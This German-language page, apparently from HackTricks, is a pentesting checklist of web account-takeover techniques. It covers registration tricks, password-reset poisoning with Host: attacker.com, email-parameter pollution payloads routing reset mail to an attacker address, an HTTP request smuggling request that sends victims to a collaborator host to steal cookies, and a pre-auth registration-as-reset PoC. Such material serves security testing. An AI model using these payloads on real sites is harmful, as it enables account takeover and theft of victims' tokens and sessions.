Registrierung & Takeover Schwachstellen

Reading time: 8 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Registration Takeover

Duplizierte Registrierung

  • Versuche, mit einem bereits existierenden username zu registrieren
  • Überprüfe verschiedene Varianten der E-Mail:
  • Groß-/Kleinschreibung
  • +1@
  • Punkte im E-Mail-Namen einfügen
  • Sonderzeichen im E-Mail-Namen (%00, %09, %20)
  • Leerzeichen nach der E-Mail anhängen: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Username Enumeration

Prüfe, ob du erkennen kannst, wann ein username bereits in der Anwendung registriert ist.

Passwort-Richtlinie

Beim Erstellen eines Benutzers die Passwort-Richtlinie prüfen (prüfen, ob schwache Passwörter erlaubt sind).
In diesem Fall kannst du versuchen, Credentials zu bruteforcen.

SQL Injection

Check this page um zu lernen, wie man versucht, account takeovers durchzuführen oder Informationen via SQL Injections in Registrierungsformularen zu extrahieren.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

E-Mail ändern

Nach der Registrierung versuche, die E-Mail zu ändern, und prüfe, ob diese Änderung korrekt validiert wird oder ob man sie auf beliebige E-Mails setzen kann.

Weitere Prüfungen

  • Prüfe, ob du disposable emails verwenden kannst
  • Long password (>200) führt zu DoS
  • Check rate limits on account creation
  • Verwende username@burp_collab.net und analysiere den callback

Password Reset Takeover

Password Reset Token Leak Via Referrer

  1. Request password reset to your email address
  2. Click on the password reset link
  3. Don’t change password
  4. Click any 3rd party websites(eg: Facebook, twitter)
  5. Intercept the request in Burp Suite proxy
  6. Prüfe, ob der referer header das password reset token leak.

Password Reset Poisoning

  1. Intercept the password reset request in Burp Suite
  2. Füge oder ändere folgende Header in Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Forward the request with the modified header
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Suche nach einer password reset URL, die auf dem host header basiert, z. B.: https://attacker.com/reset-password.php?token=TOKEN

Password Reset Via Email Parameter

bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR bei API-Parametern

  1. Der Angreifer muss sich mit seinem Account einloggen und zur Funktion Change password gehen.
  2. Starte Burp Suite und fange die Anfrage ab
  3. Sende sie an den Repeater-Tab und ändere die Parameter : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Schwaches Passwort-Reset-Token

Das password reset token sollte zufällig generiert und jedes Mal einzigartig sein.
Versuche zu bestimmen, ob das Token abläuft oder immer gleich ist — in einigen Fällen ist der Generierungsalgorithmus schwach und kann erraten werden. Die folgenden Variablen könnten vom Algorithmus verwendet werden.

  • Timestamp
  • UserID
  • Email of User
  • Firstname and Lastname
  • Date of Birth
  • Cryptography
  • Number only
  • Small token sequence ( characters between [A-Z,a-z,0-9])
  • Token reuse
  • Token expiration date

Leaking Password Reset Token

  1. Trigger eine password reset request über die API/UI für eine bestimmte E-Mail, z. B.: test@mail.com
  2. Untersuche die Serverantwort und prüfe auf resetToken
  3. Verwende dann das Token in einer URL wie https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Passwort-Reset durch Username-Kollision

  1. Registriere dich im System mit einem Benutzernamen, der mit dem des Opfers identisch ist, aber mit eingefügten Leerzeichen vor und/oder nach dem Benutzernamen, z. B.: "admin "
  2. Fordere ein password reset mit deinem bösartigen Benutzernamen an.
  3. Nutze das an deine E-Mail gesendete Token und setze das Passwort des Opfers zurück.
  4. Melde dich mit dem neuen Passwort beim Opferkonto an.

Die Plattform CTFd war für diesen Angriff verwundbar.
See: CVE-2020-7245

Accountübernahme via Cross Site Scripting

  1. Finde ein XSS in der Anwendung oder einer Subdomain, falls die cookies auf die Parent-Domain begrenzt sind: *.domain.com
  2. Leak the current sessions cookie
  3. Authentifiziere dich als der Nutzer mithilfe des cookie

Accountübernahme via HTTP Request Smuggling

1. Verwende smuggler um den Typ des HTTP Request Smuggling zu ermitteln (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Erzeuge eine Anfrage, die POST / HTTP/1.1 mit den folgenden Daten überschreibt:
GET http://something.burpcollaborator.net HTTP/1.1 X: mit dem Ziel, die Opfer per open redirect zu burpcollab umzuleiten und ihre cookies zu stehlen
3. Die finale Anfrage könnte wie folgt aussehen

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone meldet die Ausnutzung dieses Bugs\

Account Takeover via CSRF

  1. Erstelle ein payload für die CSRF, z. B.: “HTML form with auto submit for a password change”
  2. Sende das payload

Account Takeover via JWT

JSON Web Token könnte zur Authentifizierung eines Users verwendet werden.

  • Bearbeite das JWT mit einer anderen User ID / Email
  • Prüfe auf schwache JWT-Signatur

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Einige Signup-Handler führen ein Upsert durch, wenn die angegebene E-Mail bereits existiert. Wenn der Endpoint einen minimalen Body mit E-Mail und Passwort akzeptiert und keine Besitzverifizierung erzwingt, überschreibt das Senden der E-Mail des Opfers dessen Passwort vor der Authentifizierung (pre-auth).

  • Discovery: Sammle Endpoint-Namen aus gebündeltem JS (oder mobilem App-Traffic), und fuzz dann Basispfade wie /parents/application/v4/admin/FUZZ mit ffuf/dirsearch.
  • Method hints: Ein GET, das Meldungen wie "Only POST request is allowed." zurückgibt, deutet oft auf das korrekte Verb und darauf hin, dass ein JSON-Body erwartet wird.
  • Minimaler Body, in der Praxis beobachtet:
json
{"email":"victim@example.com","password":"New@12345"}

Beispiel PoC:

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Auswirkung: Vollständige Account-Übernahme (ATO) ohne Reset-Token, OTP oder E-Mail-Verifizierung.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks